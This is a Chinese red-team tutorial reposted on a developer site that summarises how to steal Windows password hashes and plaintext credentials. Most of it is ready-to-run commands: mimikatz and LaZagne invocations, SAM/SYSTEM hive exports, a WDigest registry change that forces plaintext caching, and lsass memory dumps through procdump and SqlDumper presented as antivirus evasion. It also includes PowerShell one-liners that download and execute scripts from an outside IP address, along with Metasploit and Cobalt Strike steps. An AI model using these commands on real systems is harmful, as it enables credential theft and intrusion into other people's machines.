内容简介:声明:
声明: Tide安全团队原创文章,转载请声明出处! 文中所涉及的技术、思路和 工具 仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
windows 密码
windows hash由二部分组成,分别是LM HASH和NTLM HASH,这是对同一个密码的两种不同的加密方式。
组成为:username:RID:LM-HASH值:NTLM-HASH值
NTLM-Hash的生成方法为:
1.将明文口令转换成十六进制的格式
2.转换成Unicode格式,即在每个字节之后添加0x00
3.对Unicode字符串作MD4加密,生成32位的十六进制数字串
例如
账户密码为cseroad@2008
十六进制为 637365726f61644032303038
Unicode字符串为 63007300650072006f006100640040003200300030003800
NTLM-Hash为 82c58d8cec50de01fd109613369c158e
LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密,具体原理参考LM-Hash && NTLM-Hash
当LM Hash是AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH。
这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash。
获取hash的工具
原理:lsass.exe进程用于实现windows安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存的lsass.exe进程或者SAM文件中导出。SAM文件保存在C:\Windows\System32\config目录下,该文件被锁定,不允许复制。
以下工具都以管理员身份运行
QuarksPwDump工具
该工具支持Windows XP/2003/Vista/7/2008版本,且相当稳定。
可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户。
下载地址:https://codeload.github.com/quarkslab/quarkspwdump/zip/master
完整源代码可以从https://github.com/quarkslab/quarkspwdump获取
Quarkspwdump.exe --dump-hash-local 导出用户的NTLM Hash
LaZagne工具
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。
该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、 Linux 、MAC
下载地址 https://github.com/AlessandroZ/LaZagne
运行命令
LaZagne.exe all
getpass.exe工具
该工具由闪电小子根据mimikatz编译,可以直接获取明文密码。直接运行getpass.exe即可。
Pwdump7.exe工具
拷贝libeay32.dll和Pwdump7.exe在同一目录下直接运行Pwdump7.txt即可
wce工具
该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据。命令为
wce.exe -w 读取系统明文密码
wme.exe -l 获取hash
powershell 脚本
Get-PassHashes.ps1脚本
cmd直接运行命令
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Get-PassHashes.ps1');Get-PassHashes
Get-PassHashes.ps1 脚本
cmd直接运行命令
powershell iex (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/nishang/Gather/Get-PassHashes.ps1');Get-PassHashes
Invoke-Mimikatz.ps1 脚本
依然使用的mimikatz读取密码
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
Out-Minidump.ps1 脚本
获取lsass.exe的dumps
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
再用mimikatz从dumps中获取明文。
mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit
mimikatz工具
可用来抓取hash以及明文。命令为
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
重启后可抓取hash
SAM表获取hash
导出导出SAM和System文件
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
将注册表的SAM、System文件导出到本地磁盘。使用mimikatz读取SAM和System文件。可获取NTLM Hash
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
metaploit 框架
在得到session的基础上,尝试抓取hash值。metasploit支持多种hash获取。
1.hashdump命令在system权限下,可抓取hash
2.windows/gather/smart_hashdump 脚本可以获取域内的用户 hash
并将所有hash导出到/root/.msf4/loot/20200218155855_default_10.211.55.16_windows.hashes_396577.txt
3.load mimikatz 命令加载mimikatz
msv 获取hash
kerberos 获取明文
ssp 获取明文信息
tspkg 尝试检索tspkg凭据
wdigest 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes 获取hash
mimikatz_command -f sekurlsa::searchPasswords 获取明文密码
cobalt strike框架
Dump Hashes #获取hash
Run Mimikatz #运行 Mimikatz
在beacon在执行的命令对应
hashdump 获取hash值
logonpasswords 相当于mimikatz_command -f sekurlsa::searchPasswords
Empire框架
Empire也是内置了mimikatz来读取hash。
免杀
prodump.exe工具
该工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。
procdump.exe -accepteula -ma lsass.exe lsass.dmp 导出lsass.dmp
再使用mimikatz读取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。
SqlDumper.exe工具
该工具也是微软出品,也具备一定免杀能力。
SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。如果目标机器没有安装SQL Server,自己上传SqlDumper.exe
tasklist /svc | findstr lsass.exe 查看lsass.exe 的ProcessID
Sqldumper.exe ProcessID 0 0x01100 导出dump文件
mimikatz加载dump文件
mimikatz.exe "sekurlsa::minidumpSQLDmpr0002.mdmp" "sekurlsa::logonPasswords full" exit
SharpDump工具
Out-Minidump.ps1 脚本C#版本编译后的结果。
把lsass.exe进程数据导出来dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压并使用本地的mimikatz进行读取。
mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"
破解hash
在线破解hash网站
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php
参考资源
抓Windows密码的几种方式
一个dumpWindows系统lsass.exe进程的工具教你多姿势抓取Windows明文或Hash,快收藏!
guān
zhù
wǒ
men
Tide安全团队正式成立于2019年1月 , 是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以 关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:
以上所述就是小编给大家介绍的《【红蓝对抗】windows hash 抓取总结》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 对抗攻击之利用水印生成对抗样本
- 基于梯度扰动探索对抗攻击与对抗样本
- 如何使用代理IP进行数据抓取,PHP爬虫抓取亚马逊商品数据
- WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛
- 抓取 Grafana Panel 视图
- 常用 Windows 抓取Hash
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
数据结构与算法JavaScript描述
[美] Michael McMillan / 王群锋、杜 欢 / 人民邮电出版社 / 2014-8 / 49.00元
通过本书的学习,读者将能自如地选择最合适的数据结构与算法,并在JavaScript开发中懂得权衡使用。此外,本书也概述了与数据结构与算法相关的JavaScript特性。 本书主要内容如下。 数组和列表:最常用的数据结构。 栈和队列:与列表类似但更复杂的数据结构。 链表:如何通过它们克服数组的不足。 字典:将数据以键-值对的形式存储。 散列:适用于快速查找和检索。......一起来看看 《数据结构与算法JavaScript描述》 这本书的介绍吧!